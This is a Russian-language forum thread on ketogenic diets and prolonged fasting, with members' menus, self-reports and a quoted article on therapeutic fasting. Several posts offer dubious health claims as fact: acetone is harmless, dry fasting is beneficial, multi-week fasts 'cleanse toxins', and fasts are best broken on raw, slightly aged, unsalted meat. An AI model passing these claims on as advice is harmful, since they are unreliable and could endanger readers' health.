Сообщение от monoed (Сообщение 961442)
А что с критичным уровнем ацетона в крови? Есть опасность или орг. не будет его производить в смертельных количествах по природе?

Aцетона в крови оч мало, и он совершенно не опасен. Лет 5 назад было опубликовано исследование -- нашли ещё один метод по которому орг может производить глюкозу -- представьте себе из ацетона (это помимо того что он и в "живом" виде тоже как-то усваевается.)

Распространено неверное мнение, что ацетон якобы яд, но это исключительно потому что в быту он используется как растворитель ядов (и не только). Но сам ацетон не ядовит, эта простая органическая молекула является ествественным природным летучим веществом с фркутовым запахом.


Цитата:

Сообщение от monoed (Сообщение 961445)
Машину водить не мог точно. Путал вещи, иногда отвечал невпопад.

Это от низкого сахара -- нормальное явление на начальных стадиях голода, пока мозг не перестроился на кетоны. Кетоны в крови должны достигнуть определённого уровня и там держаться, прежде чем мозг начнёт их по настоящему усваивать. На голоде это занимает неделю+, на диете гораздо дольше. Просто присутствие кетонов в крови недостаточно для этой перестройки.

Maksenek 21-07-2015 03:24

Re: Кетогенная диета
 
Заметил, что на полном голодании намного легче (порой даже как будто и вовсе не голодаешь), чем на кетодиете или даже просто на низкоуглеводной без ограничения белка. Хотя казалось бы, диета это должен быть более щадящий вариант, чем полное голодание. Голодания правда делаю только сухие, на мокром не знаю как было бы. Но многие пробовавшие то и другое также отмечают что сухое переносится легче. Может, это оттого что концентрация кетонов в сгущаемой крови быстрее повышается? Или другие причины?

monoed 21-07-2015 21:14

Re: Кетогенная диета
 
Цитата:

Сообщение от Reasonable (Сообщение 961448)
Это от низкого сахара -- нормальное явление на начальных стадиях голода, пока мозг не перестроился на кетоны. Кетоны в крови должны достигнуть определённого уровня и там держаться, прежде чем мозг начнёт их по настоящему усваивать.

Reasonable, прикол в том, что тело адаптировалость а мозг нет. Нехватки сил головокружений слабости мерзлявости не было, но вот покадровая развертка зрения иногда "рубилась" как на тормрзных старых компьютерах. Вцелом перемещался и соображал быстро, но не всегда продуктивно.
Цитата:

Сообщение от Maksenek (Сообщение 961447)
Причина нехватки энергии в момент начальной адаптации к кетодиете в том, что организм не может заместить недостающую глюкозу кетонами сразу, нужно несколько дней на раскачку. В этот период ощущается нехватка энергии и происходит повышенный расход белка на синтез глюкозы. Поэтому мозг как в тумане, странное состояние, усталость, сонливость.

Maksenek, это вполне логично. Моя особенность была в том, что сонливости тоже не было, так как сон куда-то "сгорал". Я засыпал как обычный человек, но вросыпался "выспавшийся и не в одном глазу" через 1-2 часа. Налопавшись углеводов я уснул намертво. Теперь употребляю сладкие напитки (около 5 гр. сахара на 100 мл.), какие найду, мл. по 300 в день и воду вдобавок. Но с позавчера ничего так и не ел.

Maksenek 12-09-2015 07:51

Re: Кетогенная диета
 
Состав низкокалорийной (600 ккал) кетогенной диеты (Сейфрид).

32 г белка
42 г жира (в т.ч. 10 г СЦТ)
10 г углеводов.

Источник: http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2874558/

ArmStrong 13-09-2015 20:46

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 966192)
Состав низкокалорийной (600 ккал) кетогенной диеты (Сейфрид).

32 г белка
42 г жира (в т.ч. 10 г СЦТ)
10 г углеводов.

Источник: http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2874558/

Сейфрид, Seyfried, Томас или Аманда?
Такой состав имеют многие сорта мяса или рыбы.

Maksenek 13-09-2015 21:21

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 966287)
Сейфрид, Seyfried, Томас или Аманда?

А что по ссылке кликнуть так трудно?) Сразу под заголовком исследования перечисляются его авторы, в том числе:
Цитата:

Thomas N Seyfried
Цитата:

Сообщение от ArmStrong (Сообщение 966287)
Такой состав имеют многие сорта мяса или рыбы.

По соотношению жира и белка может и удастся отыскать, но вот такое относительно большое количество углеводов в мясе или рыбе обычно не бывает. Если они без добавок, то содержание углеводов как правило ноль:

http://www.intelmeal.ru/nutrition/fo...f_Products.php
http://www.intelmeal.ru/nutrition/fo...h_Products.php

В кетогенные диеты и низкоуглеводные для замены кетогенной добавляют 10 г углеводов. Возможно, столько требуется для минимизации расхода белка на синтез глюкозы.

ArmStrong 14-09-2015 01:32

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 966290)
А что по ссылке кликнуть так трудно?) Сразу под заголовком исследования перечисляются его авторы, в том числе:..
.

Он там на последнем месте, а вот Аманда прославилась своей диетой.
Цитата:

Сообщение от Maksenek (Сообщение 966290)
По соотношению жира и белка может и удастся отыскать, но вот такое относительно большое количество углеводов в мясе или рыбе обычно не бывает. Если они без добавок, то содержание углеводов как правило ноль:

http://www.intelmeal.ru/nutrition/fo...f_Products.php
http://www.intelmeal.ru/nutrition/fo...h_Products.php

В кетогенные диеты и низкоуглеводные для замены кетогенной добавляют 10 г углеводов. Возможно, столько требуется для минимизации расхода белка на синтез глюкозы.

Какие продукты больше всего подходят по своему составу к этой диете, по вашему мнению? возможно масличные культуры?
Я люблю конкретику..

Maksenek 14-09-2015 04:49

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 966298)
Какие продукты больше всего подходят по своему составу к этой диете, по вашему мнению? возможно масличные культуры?
Я люблю конкретику..

Сомневаюсь, что удастся найти хотя бы один монопродукт, который подошел бы по составу. Вот конкретика. Смесь для данной диеты, которую я использую в настоящее время: яйцо - 260 г, подсолнечное масло - 14 г, Нутрилон 1 Премиум - 11 г, кофе - 2-3 г. Режим питания 1 раз в день утром. В виде омлета. Кофе в течение дня.

Reasonable 15-09-2015 06:01

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 966298)
Он там на последнем месте

в науке на последнем месте, традиционно, самый главный и указывается. Это не Голливуд :D

Maksenek 15-09-2015 11:56

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 966290)
В кетогенные диеты и низкоуглеводные для замены кетогенной добавляют 10 г углеводов.

Вот для чего могут быть нужны эти 10 г углеводов. В исследовании было установлено, что на длительном голодании добавление 7.5 и 15 г углеводов может уменьшить потерю почками аммонийного азота (то есть немного экономит потерю белка), но главное, существенно уменьшает потерю с мочой кетокислот. То есть позволяет экономнее расходовать этот ценный для кетопитания ресурс.

Яся 15-09-2015 15:42

Re: Кетогенная диета
 
Цитата:

Сообщение от Reasonable (Сообщение 966410)
в науке на последнем месте, традиционно, самый главный и указывается. Это не Голливуд :D

В России это не так. В публикациях автор, внесший основной вклад, стоит на первом месте. При равноправии авторы расставляются в алфавитном порядке.

Подруга из-за этого (во всяком случае, такое "официальное" объяснение :-)), выйдя замуж, не стала менять фамилию: девичья начиналась на букву "А" :-)

Reasonable 15-09-2015 15:55

Re: Кетогенная диета
 
Яся, на западе так и было, но потом нобелевские светила стали себя указывать на последнем месте, типа проталокивать своих учеников , ну а также из "скромности". А потом так и повелось. В медицине/физиологии/биологии все главные на последнем месте. В физике/математике не припомню, но там в основном один-два автора, редко три.

Яся 15-09-2015 17:54

Re: Кетогенная диета
 
Цитата:

Сообщение от Reasonable (Сообщение 966465)
...но потом нобелевские светила стали себя указывать на последнем месте, типа проталокивать своих учеников , ну а также из "скромности". А потом так и повелось.

Не знаю, как с нобелевскими лауреатами, но с профессорами и академиками у нас так тоже иногда (!) бывает. Обычно тогда, когда фамилия "светила" дописывается в последний момент для придания "веса" публикации. А сам "светило" эту статью не то что не писал, а даже и не читал :-) Но, к сожалению, и в таких случаях чаще фамилия руководителя стоит раньше фамилии реально сделавшего работу аспиранта (доцента и пр.).

Посмотришь на список публикаций ректора какого-нибудь вуза -- такая широта интересов, ну просто человек эпохи Возрождения. А в действительности, он уже давно администратор, напрочь забывший о научной работе. И сам обо всех "своих" статьях и патентах даже не знает. Хотя, конечно, не могу судить обо всех. Только о некоторых :-)

===

Maksenek! Извините за отступление от Вашей темы :-)

Maksenek 16-09-2015 04:10

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 966192)
Состав низкокалорийной (600 ккал) кетогенной диеты (Сейфрид).

32 г белка
42 г жира (в т.ч. 10 г СЦТ)
10 г углеводов.

Источник: http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2874558/

Скомпоновал ещё парочку рационов для данной кетодиеты, заменив яйца, масло и нутрилон на куриную грудку и орехи. Между собой они отличаются только тем, что грудка в первом варианте с кожей, а во втором без.

1.
Бройлер грудка с кожей - 70 г
Арахис Валенсия (мелкий красный) - 65 г
Орех грецкий - 7 г
Кофе растворимый - 2 г

2.
Бройлер грудка без кожи - 70 г
Арахис Валенсия (мелкий красный) - 55 г
Орех грецкий - 22 г
Кофе растворимый - 2 г

ArmStrong 16-09-2015 21:45

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 966507)
Скомпоновал ещё парочку рационов для данной кетодиеты, заменив яйца, масло и нутрилон на куриную грудку и орехи. Между собой они отличаются только тем, что грудка в первом варианте с кожей, а во втором без.

1.
Бройлер грудка с кожей - 70 г
....
2.
Бройлер грудка без кожи - 70 г
..

это теоретический подсчёт или вы сами испробовали этот рацион? почему было выбрано бройлерное мясо и как вы его готовите?
Интересует меня и самочувствие при поедании этого рациона.

Maksenek 16-09-2015 23:31

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 966614)
это теоретический подсчёт или вы сами испробовали этот рацион?

Разработал для применения, с сегодня начну использовать. Пока провел уже 4 дня на рационе аналогичного состава (32-42-10) на основе яиц, рецепт которого опубликовал чуть ранее - нормально. А непосредственно перед этими 4-мя днями было ещё 3 дня на похожем кол-ве углеводов, но без ограничения белка и жира. То есть уже 7 дней подряд на крошечном кол-ве углеводов, последние 4 дня из которых кетодиета. Пока дается довольно легко, лишь иногда небольшое кратковременное чувство голода, так что я полон оптимизма))
Цитата:

Сообщение от ArmStrong (Сообщение 966614)
Интересует меня и самочувствие при поедании этого рациона.

Хорошо, сообщу.

Maksenek 16-09-2015 23:48

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 966614)
почему было выбрано бройлерное мясо и как вы его готовите?

Куриная грудка - наиболее распространенное, доступное и удобное в использовании белое мясо. Красное, конечно, не рассматривал, его вред и механизмы действия уже довольно широко известны. Готовка будет в виде варки.

Maksenek 17-09-2015 07:59

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 966507)
Бройлер грудка без кожи - 70 г
Арахис Валенсия (мелкий красный) - 55 г
Орех грецкий - 22 г
Кофе растворимый - 2 г

Пробив по кронометру, обнаружилась значительная дефицитность этого рациона по некоторым микронутриентам. Остальных тоже меньше, но там хотя бы пропорционально уменьшенной калорийности, а этих же совсем крохи. Поэтому поискал по моему справочнику видаль, какие поливитамины лучше подойдут. Задача была найти такой, чтоб там было всё необходимое и как можно меньше лишнего, причем желательно с полным запретом на те нутриенты, к которым я отношусь с большим недоверием (железо, медь, фолат, марганец). Такой препарат к счастью нашелся один - макровит. Достаточно будет одной таблетки в день. Слава богу, ещё не сняли с производства. А то справочник 2000 года.:D Под вопросом остался натрий (его тоже значительно меньше потребности). Но посмотрим, может организм сможет со временем адаптироваться, учитывая малоедение и малопитие. Симптомы гипонатриемии хорошо заметны, так что если что, добавлю чуть-чуть соли (достаточно будет 1.3 г).

Iosif 17-09-2015 12:52

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 966641)
од вопросом остался натрий (его тоже значительно меньше потребности). Но посмотрим, может организм сможет со временем адаптироваться

Читал про староверов, которые жили в тайге. У них в рационе (вегетарианском) тоже был дефицит натрия. Чтобы компенсировать этот дефицит они не мылись...

Maksenek 17-09-2015 15:06

Re: Кетогенная диета
 
Цитата:

Сообщение от Iosif (Сообщение 966666)
Читал про староверов, которые жили в тайге. У них в рационе (вегетарианском) тоже был дефицит натрия. Чтобы компенсировать этот дефицит они не мылись...

Это не поможет от дефицита. Натрий может теряться с потом (хотя сообщалось что у тех кто не ест соли он на вкус пресный, то есть потеря небольшая, если и есть). Но немытье, разумеется, не прекратит потоотделение и даже не ослабит. Вот если они не парились в бане - тогда да, теоретически целесообразно.

monoed 17-09-2015 15:39

Re: Кетогенная диета
 
Цитата:

Сообщение от Iosif (Сообщение 966666)
Читал про староверов, которые жили в тайге

Iosif, про какой исторический период идет речь? 50-100-200 лет назад.
Нажмите тут для просмотра всего текста
Тогда народ вообще редко мылся даже в России (в том числе и бани принимал). Вообще народ не мылся по множеству разных причин, в т.ч. и из-за суеверий. Трудно представить, что они думали про натрий. Даже в послевоенном СССР, основной народ не мылся каждый день. 1 раз в неделю, максимум 2.

Iosif 18-09-2015 12:13

Re: Кетогенная диета
 
Цитата:

Сообщение от monoed (Сообщение 966692)
про какой исторический период идет речь?

пришлось погуглить, про Лыковых читал, то ли Хигер автор, толи как то похоже.
В книге писалось о том, что возможно в принципе, а что нереально. так в случае Лыковых был дефицит белка и соли. Белок они получали из кедровых орешков, а о оси я уже писал.

https://ru.wikipedia.org/wiki/%D0%9B...B8%D0%BA%D0%B8)
//В 1930-е годы несколько семей, в том числе и Лыковы, ушли в Саянскую тайгу и много лет жили в строгой изоляции. Они принадлежали к умеренному старообрядческому толку «часовенных».

Однако уже в 1953 году в перечне географических терминов хакасско-русского словаря упоминается «Лыков иб» — Заимка Лыковых (Таш.)[1]. Ныне это название кластерного участка заповедника Хакасский.

В 1978 году геологи случайно обнаружили Лыковых при обследовании реки Большой Абакан. История о семье отшельников, незнакомых с современной цивилизацией, получила огромный резонанс в советской прессе тех лет//

Maksenek 21-09-2015 04:41

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 966614)
Интересует меня и самочувствие при поедании этого рациона.

В общем провел полных три дня на рационе с куриной грудкой - нормально, чувства голода нет. Только рацион получился чрезмерно сытный - последнюю треть или четверть приходилось есть через силу. Можно было конечно разделить на несколько приемов в день, но было неохота есть лишний раз когда можно только один. К сожалению на третий день всё было омрачено началом простуды (горло), что продолжается до сих пор. Симптомы очень странные, раньше не припомню такого. Болит горло, но слабо, боль заметна только при глотании, и со временем не обостряется, как обычно бывает в таких случаях. Очень странно болит кожа по бокам головы над ушами, при надавливании на нее. Связано ли ослабление иммунитета кетодиетой, или это просто сезонный вирус гуляет? Сейчас как раз время такое, что уже сильно похолодало, но в домах холодно, так как отопление еще не дали. Но может действительно кетодиета виновата, всего провел 10 дней на ней. Поэтому на всякий случай сделаю перерыв. Потом продолжу.

Iosif 21-09-2015 12:59

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 967083)
Болит горло, но слабо, боль заметна только при глотании, и со временем не обостряется, как обычно бывает в таких случаях. Очень странно болит кожа по бокам головы над ушами, при надавливании на нее. Связано ли ослабление иммунитета кетодиетой, или это просто сезонный вирус гуляет?

К примеру у меня появляются проблемы с сезонными вирусами в двух случаях:
переутомление и переохлаждение. В любом случае это выражается снижением температуры тела. Помогает если хорошо прогреться: шерстяная жилетка и т.д.
Можно и в баню.
На начальных этапах мне хорошо помогает раствор аскорбинки. Для вкуса в него я добавляю чуть чуть меда.
В любом случае если нет жировой "подушки безопасности" желательно обходиться без переохлаждений.

Maksenek 23-09-2015 04:24

Re: Кетогенная диета
 
Горло вроде прошло, возобновляю кетодиету.

Кто-нибудь знает, можно ли считать грудкой то что на второй картинке? По крайней мере в отношении питательной ценности (чтоб было тоже белое мясо, с тем же содержанием белка и жира)? А то в продаже в такой форме ("со штанишками") бывает намного чаще, чем просто в виде "сердечек".

http://edu-domoi.ru/wp-content/uploa...19-300x300.jpghttp://edamoll.ru/upload/iblock/cdd/...03e84cc039.png

monoed 23-09-2015 05:02

Re: Кетогенная диета
 
Нажмите тут для просмотра всего текста
Цитата:

Сообщение от Maksenek (Сообщение 967284)
А то в продаже в такой форме ("со штанишками") бывает намного чаще, чем просто в виде "сердечек".

про штанишки и сердечки не врубился, может туплю. Ты имеешь ввиду форму грудки или способ разделки перед продажей?

p.s. лично мне грудки не очень нравятся, в них меньше жира и соединительных тканей, мне кажется. Предпочитаю крепкий 3-х часовой бульон из ножек или крыльев

Maksenek 23-09-2015 05:29

Re: Кетогенная диета
 
Да, это форма грудки в зависимости от метода разделки. Вопрос почему возник, не врут ли производители чтоб продать побольше, добавляя эти "шорты", то есть относятся ли они также к грудке в плане типа мяса и соотношения белка и жира?

monoed 23-09-2015 06:38

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 967289)
добавляя эти "шорты", то есть относятся ли они также к грудке в плане типа мяса и соотношения белка и жира?

думаю -- нет (всмысле это может увеличить вес товара за счет ошметков несрезанных), на мой взгляд если мясо отличается по фактуре, вкусу и сочности, значит оно относится к другой более дешевой разделочной группе (типа как у говядины). Есть такой товар, называется "грудка без кожи" - у меня в городе это чаще всего именно чистая грудка. Так же есть крылья их двух частей и из трех, при том в 3-й части мяса точти нет, одна кожа и сухожилия.

ArmStrong 27-09-2015 03:39

Re: Кетогенная диета
 
Неделикатный но нужный вопрос: как влияет кетогенная диета на консистенцию стула? По-моему, разжижает. Чем больше доля жира, тем жиже стул. IMHO

Maksenek 30-09-2015 16:35

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 967794)
Неделикатный но нужный вопрос: как влияет кетогенная диета на консистенцию стула? По-моему, разжижает. Чем больше доля жира, тем жиже стул. IMHO

Вряд ли. Консистенция стула определяется больше не теми нутриентами, которые усваиваются почти полностью, а как раз тем что наоборот не переваривается, что и составляет основу отходов.

ArmStrong 30-09-2015 23:13

Re: Кетогенная диета
 
выпейте много масла, как при чистке печени, и вас пронесёт. То есть масло разжижает стул.

Maksenek 01-10-2015 07:01

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 968139)
выпейте много масла, как при чистке печени, и вас пронесёт. То есть масло разжижает стул.

При таком потреблении, по всей видимости, масло просто не успевает или не может достаточно полно усвоиться (ведь для хорошего усвоения жир должен быть достаточно хорошо эмульгирован), отчего и поносит.

В любом случае, к нормальному питанию питье масла не имеет никакого отношения, поэтому экстраполировать выводы с маслопития на обычную еду более чем некорректно.

kukunja 03-10-2015 15:23

Re: Кетогенная диета
 
Кстати ни кто не задумывался, почему только хищники зализывают раны?!!! Травоядные даже не приспособились к этому (самое большее могут хвостом муху отогнать).

Maksenek 03-10-2015 15:34

Re: Кетогенная диета
 
Цитата:

Сообщение от kukunja (Сообщение 968442)
Кстати ни кто не задумывался, почему только хищники зализывают раны?!!! Травоядные даже не приспособились к этому (самое большее могут хвостом муху отогнать).

Травоядные разве могут получить какие-то раны? Для хищников раны обычное дело, в схватках с добычей и между собой. А травоядное может получить рану наверно в основном только от хищника, но тогда оно уже не жилец, так что зализывать будет уже некому и нечего. Кроме того, ввиду образа жизни у хищников более гибкое тело, что позволяет куда легче дотянуться до любых мест тела.

ЗЫ: А почему после вопроса вы поставили три восклицательных знака?:-)

kukunja 03-10-2015 16:22

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 968445)
Травоядные разве могут получить какие-то раны?

Ну, конечно - от тех же хищников!! Только если хищник ранил жертву, он уже будет ее сопровождать и выжидать, пока она (жертва) не сдохнет.

Maksenek 03-10-2015 16:25

Re: Кетогенная диета
 
Цитата:

Сообщение от kukunja (Сообщение 968458)
Ну, конечно - от тех же хищников!! Только если хищник ранил жертву, он уже будет ее сопровождать и выжидать, пока она (жертва) не сдохнет.

Ну тогда тоже нет смысла зализывать.

kukunja 03-10-2015 16:26

Re: Кетогенная диета
 
Цитата:

Сообщение от kukunja (Сообщение 968458)
.....у хищников более гибкое тело.....

Просто для травоядного нет смысла развивать гибкость, что бы зализывать раны - это ей ни чего не даст. Просто слюна у него щелочная, а не кислотная (как у хищника) - он хоть залижись, а толку не будет.

Maksenek 07-10-2015 10:11

Re: Кетогенная диета
 
Наконец-таки подобрал окончательный рацион для моей "сейфридовской" кето-VLCD, который мне вкусен, удобен и комфортен.

Куриная грудка охлажденная с кожей (вареная) - 75 г
Арахис жареный соленый - 70 г
Макровит - 1 таб
Цикорий (сухой растворимый) - 3 г

Ем 1 раз в день утром. Далее в течение суток периодически и пью горячий цикорий, заваривая небольшими порциями ~25-50 мл.

Самочувствие отличное. На 3-й день вечером возникло чувство голода умеренной выраженности, но быстро прошло. А на следующее утро (4-й день) немного поболела голова, тоже быстро прошло. Возможно это было связано с переходом организма с углеводного на жировой обмен.

Сегодня 5-й день уже, полет нормальный)

Maksenek 09-10-2015 02:57

Re: Кетогенная диета
 
В исследовании попалось указание на возможную причину того, почему животные живут меньше на кетогенной диете:
Цитата:

ограничение диетических углеводов повышает концентрацию в плазме B-гидроксибутирата (то есть, кетогенез), сдвиг, который может противодействовать продлению жизни у млекопитающих.
Нажмите тут для просмотра всего текста
restricting dietary carbohydrates increases the plasma concentration of B-hydroxybutyrate (that is, ketogenesis), a shift that may counteract life-span extension in mammals.

http://journals.plos.org/plosmedicin...l.pmed.0020231

Сергей Р 10-11-2015 14:49

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 969040)
Сегодня 5-й день уже, полет нормальный)

Все еще в полете?

Maksenek 11-11-2015 01:59

Re: Кетогенная диета
 
Цитата:

Сообщение от Сергей Р (Сообщение 973563)
Все еще в полете?

То было затеяно как кратковременное, но этого не хватило для устойчивого эффекта. Поэтому сейчас начал пробовать длительную кетодиету, только уже другой схемы.

Lexus 04-02-2016 11:54

Re: Кетогенная диета
 
Здравствуйте, уважаемые пользователи. У меня к вам всего один, но важный вопрос. Кому-нибудь попадались объяснения в научных источниках, для чего в терапевтические кетодиеты включают около 10 г углеводов? А также, существуют ли такие диеты вообще без углеводов или с меньшим их количеством. Спасибо.

Silentium 08-04-2016 10:06

Re: Кетогенная диета
 
Вообще то терапевтические кетодиеты, как правило, не оперируют граммами. Они используют формулу Уайдлера для определения кетогенности рациона.

lady_darsy 10-06-2016 10:20

Re: Кетогенная диета
 
Здравствуйте! Я на кето уже полгода. Сейчас голодаю 2-ой день. Планирую минимум 7-10 дней для очищения организма от шлаков. Много читала, что выходить из голода надо на соках, что совсем недопустимо в кето. А играть с инсулином я не хочу, только усмирила его. Может, кто-то имеет опыт голодания на кето. И как правильно выходить из этого голода, чтобы не окочуриться после первой же еды, поступившей в желудок?

monoed 10-06-2016 10:30

Re: Кетогенная диета
 
Цитата:

Сообщение от lady_darsy (Сообщение 1004284)
Может, кто-то имеет опыт голодания на кето.

Гвоздь голодал не на кето, но выходил на как бы на кето-питании (без соков, и проч). Яблоко он сжевал, чтобы запустить ЖКТ, потом выплёвывал. Это описанное голодание было около 30 дней. Больше я не помню подобных описаний.
Цитата:

Сообщение от Гвоздь (Сообщение 963425)
Третий день восстановления. 13.08.2015.
Состояние бодрое, Ночью не спится.
Утром вес – 56,0 (+2,0: – 9,3) кг. .
Пульс лёжа/проба – 45/7.
Артериальное давление – 85/55.
Сахар 4,6. Всё время бы так.
Контрольная пауза по Бутейко – 35 секунд.

Сильный аппетит, горячий бульон рыбный, потом куриный. Через час – полтора, даже и ночью. По паре кружек с покрошенной огородной зеленью. Не слишком наваристый. Отёков нет – просто булькает. С соответствующим бульоном немного мелко порезанного сырого мяса или рыбы. Варёные рыба и мясо – не лезут – кажутся крайне невкусными и тяжёлыми - аж язык царапают


lady_darsy 10-06-2016 11:49

Re: Кетогенная диета
 
Цитата:

Сообщение от monoed (Сообщение 1004285)
Гвоздь голодал не на кето, но выходил на как бы на кето-питании (без соков, и проч). Яблоко он сжевал, чтобы запустить ЖКТ, потом выплёвывал. Это описанное голодание было около 30 дней. Больше я не помню подобных описаний.

Спасибо большое! Я поищу

igor2804 10-06-2016 12:49

Re: Кетогенная диета
 
я выходил с маленького срока на домашней молочке и сале - срок 8 дней сливки домашние рассасывал и сало тоже , на сале не советую ( как продукт не для меня ) а на сливках или на масле Гхи мне по вкусу - да и срок 8 дней думаю очень мал что бы так уж *ВЫХОДИТЬ*

voldav 11-06-2016 14:29

Re: Кетогенная диета
 
Я выходил на сырой рыбе и сыром мясе. Без проблем.

igor2804 11-06-2016 14:44

Re: Кетогенная диета
 
Цитата:

Сообщение от voldav (Сообщение 1004395)
Я выходил на сырой рыбе и сыром мясе. Без проблем.

тоже хочется попробовать , а сроки какие были ?

lady_darsy 11-06-2016 15:23

Re: Кетогенная диета
 
voldav, можете рассказать, как именно Вы выходили? (Как начинали кушать, сколько по времени был выход) А нельзя ли рыбу и мясо посолить, а потом кушать, или только хардкор? Мне представить жутко. Я на водном голодании 3-й день. Планирую минимум 7 дней, максимум 21, по самочувствию.

voldav 11-06-2016 16:19

Re: Кетогенная диета
 
Добрый день. Просмотрите дневник Василия, он выходил на рыбе, правда вареной. Обратите внимание на плотоядных животных. Они часто голодают, но "выходят" на плоти. Легче всего переваривается чуть-чуть лежалое мясо. Удачи. Ни в коем случае - Не солить. Посадите почки.

Michail 16-06-2016 18:14

Re: Кетогенная диета
 
Выход на мясном бульоне:
ДИССЕРТАЦИЯ "О ТЕРАПЕВТИЧЕСКОМ ЗНАЧЕНИИ МОДИФИЦИРОВАННОЙ ДИЕТЫ ВОССТАНОВИТЕЛЬНОГО ПЕРИОДА РДТ, АДАПТИРОВАННОЙ К ОСОБЕННОСТЯМ ПИТАНИЯ НАСЕЛЕНИЯ МНР"

monoed 16-06-2016 18:22

Re: Кетогенная диета
 
Цитата:

Сообщение от Michail (Сообщение 1004980)
ДИССЕРТАЦИЯ "О ТЕРАПЕВТИЧЕСКОМ ЗНАЧЕНИИ МОДИФИЦИРОВАННОЙ ДИЕТЫ ВОССТАНОВИТЕЛЬНОГО ПЕРИОДА РДТ, АДАПТИРОВАННОЙ К ОСОБЕННОСТЯМ ПИТАНИЯ НАСЕЛЕНИЯ МНР"

А точнее:

Цитата:

О ТЕРАПЕВТИЧЕСКОМ ЗНАЧЕНИИ МОДИФИЦИРОВАННОЙ ДИЕТЫ ВОССТАНОВИТЕЛЬНОГО ПЕРИОДА РДТ, АДАПТИРОВАННОЙ К ОСОБЕННОСТЯМ ПИТАНИЯ НАСЕЛЕНИЯ МНР
Г.К. Заиров (Москва)
[год публикации не указан -- прим. monoed]

В настоящее время вопросам диетотерапии нервно-психических больных уделяется недостаточное внимание. Метод разгрузочно-диетической терапии, включающий дозированное алиментарное голодание и последующее восстановительное диетическое питание, является своеобразной разновидностью диетотерапии в психиатрии. В восстановительном периоде РДТ обычно используется только вегетарианская молочно-растительная гипохлоридная диета, разработанная Ю.С. Николаевым (1952). Между тем среди больных, проходящих лечение этим методом, естественно, встречаются люди с привычным мясным рационом питания. На них вегетарианская диета оказывает меньшее терапевтическое воздействие, чем на больных, для которых молочно-растительная диета привычна.

Это объясняется тем, что переход больных на экзогенное питание после периода воздействия полного алиментарного дозированного голодания оказывает на организм стрессовое влияние (Л.И. Ландо, Ю.С. Николаев, Ю.Л. Шапиро, Г.И. Бабенков, 1969), острота и значимость которого уменьшаются при условиях адекватности характера восстановительной диеты настрою биохимических систем организма, сложившемуся в процессе фило- и онтогенеза.

В целях выяснения терапевтического значения в комплексе РДТ восстановительной диеты, содержащей мясо и мясные продукты, в Республиканской психоневрологической больнице г. Улан-Батора разгрузочно-диетическая терапия проведена 85 больным (в возрасте от 20 до 60 лет) с невротическими и неврозоподобными состояниями различного генеза. Среди них были 26 больных алиментарным ожирением; со сверхценной дисморфофобией, 25 больных церебральным-атеросклерозом, 24 больных вялопрогредиентной шизофренией и 10 больных гипостенической формой неврастении.

Методика проведения лечебного голодания («голодание на воде» в сочетании с гигиеническими и физиотерапевтическими процедурами, стимулирующими процессы выделения) продолжительностью от 10 до 25 дней полностью соответствовала принятой в клинике диетотерапии МНИИП. Целесообразность использования в восстановительном периоде модифицированной диеты определялась тем, что белково-жировой рацион питания с преимущественным потреблением мясных и молочных продуктов является характерным для коренного населения МНР (Ц. Гурдорж, 1969; Ш. Чадравал, 1970).

Диета до 4-го дня восстановительного питания соответствовала диете, разработанной Ю.С. Николаевым. На 5-й день и суточный рацион включались 100 г. бараньего бульона с 50 г. хорошо отваренной баранины. В последующие дни количество бараньего бульона и отваренной баранины постепенно увеличивалось на 50-100 г. в день. Количественное содержание в диете растительных и молочных продуктов соответственно уменьшалось. На 12-й день восстановительного питания больные получали до 500 г. жирного бараньего бульона с 500 г. отваренной баранины. Диета 12-го дня с незначительными изменениями сохранялась до конца восстановительного периода лечения.

Отличительной особенностью этой модифицированной восстановительной диеты явилось также включение в нее, начиная с 3-го дня питания, постепенно увеличивающихся количеств (от 50,0 до 800,0) национального зеленого чая с молоком, оказывающего легкое тонизирующее влияние. При этом в диете соответственно уменьшалось количественное содержание фруктовых соков и кефира.

Под влиянием терапевтического воздействия растительно-молочно-мясной диеты у исследованных больных в конце первой недели периода восстановительного питания отмечалось быстрое исчезновение астенических проявлений. Особенно наглядным редуцирование астении, являющейся одной из особенностей клиники терапии методом РДТ, было у больных с апато-гипобулическими, сенесто-ипохондрическими и субдепрессивно-неврозоподобными состояниями.

Адаптированный рацион восстановительного питания описан в инструктивно-методическом письме по применению метода разгрузочной диетотерапии (Г.К. Заиров, Ц. Гурдорж, 1972), утвержденном Министерством здравоохранения и изданном на монгольском языке.

ВЫВОДЫ

Результаты полученного в Монголии опыта применения |метода РДТ, заслуживающие внимания в связи с высокими непосредственными терапевтическими результатами, могут быть использованы в дальнейшем при разработке индивидуализированных рационов восстановительного питания в комплексе разгрузочно-диетической терапии при лечении больных с различными нервно-психическими заболеваниями.

РЕЗЮМЕ

Описан модифицированный молочно-растительно-мясной рацион восстановительного периода РДТ в условиях Монголии и обоснована необходимость его использования с целью повышения эффективности метода РДТ.

golodanieclub.ru/books/mongoliy.doc

Иван1961 30-07-2018 15:01

Re: Кетогенная диета
 
Цитата:

Сообщение от Олег1099 (Сообщение 570291)
Всем здраствуйте.
